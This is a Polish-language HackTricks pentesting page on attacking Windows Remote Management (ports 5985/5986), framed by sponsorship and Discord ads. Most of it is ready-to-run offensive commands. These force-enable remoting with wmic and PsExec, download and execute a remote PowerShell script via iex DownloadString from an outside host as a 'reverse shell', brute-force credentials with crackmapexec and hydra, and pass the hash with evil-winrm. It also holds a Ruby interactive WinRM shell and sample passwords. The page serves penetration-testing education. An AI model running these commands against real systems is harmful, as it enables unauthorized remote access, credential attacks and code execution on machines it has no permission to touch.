# 5985,5986 - Testowanie penetracyjne WinRM
Nauka hakowania AWS od zera do bohatera zhtARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami błędów!
**Spostrzeżenia z Hakerstwa**\
Zajmij się treściami, które zagłębiają się w emocje i wyzwania hakerstwa
**Aktualności z Hakerstwa na Żywo**\
Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnościom i spostrzeżeniom na żywo
**Najnowsze Ogłoszenia**\
Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platform
**Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
## WinRM
[Windows Remote Management (WinRM)](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx) jest wyróżniany jako **protokół firmy Microsoft**, który umożliwia **zdalne zarządzanie systemami Windows** poprzez HTTP(S), wykorzystując SOAP w procesie. Jest on zasadniczo zasilany przez WMI, prezentując się jako interfejs oparty na HTTP do operacji WMI.
Obecność WinRM na maszynie umożliwia łatwe zdalne zarządzanie za pomocą PowerShell, podobnie jak działa SSH dla innych systemów operacyjnych. Aby sprawdzić, czy WinRM jest aktywny, zaleca się sprawdzenie otwarcia określonych portów:
* **5985/tcp (HTTP)**
* **5986/tcp (HTTPS)**
Otwarty port z powyższej listy oznacza, że WinRM został skonfigurowany, umożliwiając próby zainicjowania sesji zdalnej.
### **Inicjowanie sesji WinRM**
Aby skonfigurować PowerShell dla WinRM, używany jest polecenie `Enable-PSRemoting` firmy Microsoft, które ustawia komputer do akceptowania zdalnych poleceń PowerShell. Posiadając podwyższony dostęp do PowerShell, można wykonać następujące polecenia, aby włączyć tę funkcjonalność i określić dowolny host jako zaufany:
```powershell
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
```
To podejście polega na dodaniu symbolu wieloznacznego do konfiguracji `trustedhosts`, krok ten wymaga ostrożnego rozważenia ze względu na jego implikacje. Zauważono również, że konieczne może być zmienienie typu sieci z "Publiczna" na "Praca" na maszynie atakującego.
Co więcej, WinRM można **aktywować zdalnie** za pomocą polecenia `wmic`, co jest pokazane poniżej:
```powershell
wmic /node: process call create "powershell enable-psremoting -force"
```
Ta metoda umożliwia zdalną konfigurację WinRM, zwiększając elastyczność zarządzania maszynami z systemem Windows z daleka.
### Sprawdź, czy skonfigurowano
Aby zweryfikować konfigurację maszyny atakującej, używane jest polecenie `Test-WSMan`, aby sprawdzić, czy docelowa maszyna ma poprawnie skonfigurowany WinRM. Wykonując to polecenie, powinieneś otrzymać szczegóły dotyczące wersji protokołu i wsmid, co wskazuje na poprawną konfigurację. Poniżej znajdują się przykłady przedstawiające oczekiwany wynik dla skonfigurowanego celu w porównaniu z nieskonfigurowanym:
* Dla celu, który **jest** poprawnie skonfigurowany, wynik będzie wyglądał podobnie do tego:
```bash
Test-WSMan
```
### Wykonaj polecenie
Aby zdalnie wykonać polecenie `ipconfig` na maszynie docelowej i wyświetlić jego wynik, wykonaj:
```powershell
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
```
![](<../.gitbook/assets/image (148).png>)
Możesz również **wykonać polecenie z bieżącej konsoli PS za pomocą** _**Invoke-Command**_. Załóżmy, że masz lokalnie funkcję o nazwie _**enumeration**_ i chcesz ją **wykonać na komputerze zdalnym**, możesz to zrobić:
```powershell
Invoke-Command -ComputerName -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
```
### Wykonaj skrypt
```powershell
Invoke-Command -ComputerName -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
```
### Uzyskaj odwrotną powłokę
```powershell
Invoke-Command -ComputerName -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
```
### Uzyskaj sesję PS
Aby uzyskać interaktywną powłokę PowerShell, użyj `Enter-PSSession`:
```powershell
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)
```
![](<../.gitbook/assets/image (1006).png>)
**Sesja zostanie uruchomiona w nowym procesie (wsmprovhost) wewnątrz "ofiary"**
### **Wymuszanie otwarcia WinRM**
Aby korzystać z PS Remoting i WinRM, ale komputer nie jest skonfigurowany, możesz go włączyć za pomocą:
```powershell
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
```
### Zapisywanie i przywracanie sesji
To **nie zadziała**, jeśli **język** jest **ograniczony** na zdalnym komputerze.
```powershell
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1
```
Wewnątrz tych sesji możesz ładować skrypty PS za pomocą _Invoke-Command_
```powershell
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
```
### Błędy
Jeśli napotkasz następujący błąd:
`enter-pssession : Połączenie z serwerem zdalnym 10.10.10.175 nie powiodło się z następującą wiadomością o błędzie : Klient WinRM nie może przetworzyć żądania. Jeśli schemat uwierzytelniania różni się od Kerberos, lub jeśli komputer klienta nie jest dołączony do domeny, należy użyć transportu HTTPS lub dodać maszynę docelową do ustawienia konfiguracji TrustedHosts. Użyj winrm.cmd, aby skonfigurować TrustedHosts. Należy zauważyć, że komputery na liście TrustedHosts mogą nie być uwierzytelnione. Możesz uzyskać więcej informacji, wykonując następujące polecenie: winrm help config. Aby uzyskać więcej informacji, zobacz temat Pomoc dotyczącą rozwiązywania problemów zdalnych.`
Spróbuj na kliencie (informacje z [tutaj](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
```ruby
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
```
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami luk za pomocą bug bounty!
**Wgląd w Hacking**\
Zajmij się treściami, które zagłębiają się w emocje i wyzwania hackowania
**Aktualności na Żywo z Hackingu**\
Bądź na bieżąco z szybkim tempem świata hackowania dzięki aktualnościom i wglądom na żywo
**Najnowsze Ogłoszenia**\
Bądź na bieżąco z najnowszymi bug bounty i istotnymi aktualizacjami platformy
**Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
## Połączenie z WinRM w systemie Linux
### Atak Brute Force
Bądź ostrożny, próba siłowa na WinRM może zablokować użytkowników.
```ruby
#Brute force
crackmapexec winrm -d -u usernames.txt -p passwords.txt
#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm -d -u -p -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm -d -u -H -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
```
### Korzystanie z evil-winrm
```ruby
gem install evil-winrm
```
Przeczytaj **dokumentację** na jego githubie: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
```ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i /
```
Aby użyć evil-winrm do połączenia z adresem **IPv6**, utwórz wpis wewnątrz _**/etc/hosts**_ ustawiając **nazwę domeny** na adres IPv6 i połącz się z tą domeną.
### Przekazanie hasha za pomocą evil-winrm
```ruby
evil-winrm -u -H -i
```
### Korzystanie z maszyny PS-docker
```
docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
```
### Korzystanie z skryptu w języku Ruby
**Kod wyodrębniony stąd:** [**https://alamot.github.io/winrm\_shell/**](https://alamot.github.io/winrm\_shell/)
```ruby
require 'winrm-fs'
# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
# https://alamot.github.io/winrm_shell/
conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)
class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end
command=""
file_manager = WinRM::FS::FileManager.new(conn)
conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end
```
## Shodan
* `port:5985 Microsoft-HTTPAPI`
## References
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
## HackTricks Automatyczne Komendy
```
Protocol_Name: WinRM #Protocol Abbreviation if there is one.
Port_Number: 5985 #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.
sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’
https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/
ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory or -s to upload scripts (sherlock)
menu
invoke-binary `tab`
#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))
https://book.hacktricks.xyz/pentesting/pentesting-winrm
Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
```
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami luk za nagrody!
**Wgląd w Hacking**\
Zanurz się w treściach, które zgłębiają emocje i wyzwania związane z hakerstwem
**Aktualności z Hackingu na Żywo**\
Bądź na bieżąco z szybkim światem hakerstwa dzięki aktualnościom i wglądom na żywo
**Najnowsze Ogłoszenia**\
Bądź na bieżąco z najnowszymi programami nagród za znalezienie luk i istotnymi aktualizacjami platform
**Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
Nauka hakerstwa AWS od zera do bohatera zhtARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.